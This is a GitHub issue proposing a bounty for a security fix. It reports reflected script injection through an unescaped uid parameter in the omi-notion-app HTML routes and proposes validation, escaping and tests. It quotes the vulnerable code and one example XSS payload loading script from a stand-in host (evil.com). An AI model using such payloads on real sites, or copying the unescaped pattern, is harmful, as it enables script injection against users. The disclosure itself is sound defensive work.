Skip to content

[Bounty proposal] fix(notion): sanitize uid and eliminate reflected parameter injection in html routes ($25 proposed) #14490

Closed

Description

@PINYOPATTANAWASANPORN

Problem Statement

In plugins/omi-notion-app/main.py, the root HTML presentation endpoint (GET /) accepts a uid query parameter without strict formatting validation or escaping:

  1. Reflected URL / Attribute Injection in GET /:
    When uid is supplied, it is formatted directly into links:

    auth_url = f"/auth/notion?uid={uid}"
    # ...
    <a href="{auth_url}" class="btn btn-primary btn-block">Connect Notion</a>

    and for connected accounts:

    <a href="/disconnect?uid={uid}" class="btn btn-secondary btn-block">Disconnect Notion</a>

    Supplying malicious query values (e.g. "><script src=//evil.com/x.js></script> or javascript:...) breaks out of standard link attributes and creates reflected script injection risks.

  2. Unvalidated Query Parameters in OAuth & Setup Endpoints:
    The /auth/notion, /setup/notion, and /disconnect endpoints accept arbitrary string lengths and control characters as uid.

Root Cause

Missing canonical UID format validation (_sanitize_uid) and missing HTML attribute escaping (html.escape(..., quote=True)).

Proposed Fix

  1. Implement _sanitize_uid(uid: Optional[str]) -> Optional[str] enforcing strict alphanumeric, underscore, and hyphen format (max 128 chars).
  2. Apply _sanitize_uid in GET /, falling back to the default service metadata JSON if the UID is absent or malformed.
  3. Escape rendered attributes via html.escape(clean_uid, quote=True).
  4. Validate uid in /auth/notion (returning 400 Bad Request on invalid format), /setup/notion (returning {"is_setup_completed": False}), and /disconnect.
  5. Add comprehensive unit tests in test_notion_security.py verifying valid formats, attack payloads, and response escaping.

@josancamon19 Following the contribution guidelines, a $25 bounty is proposed for this security hardening fix and unit test suite.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions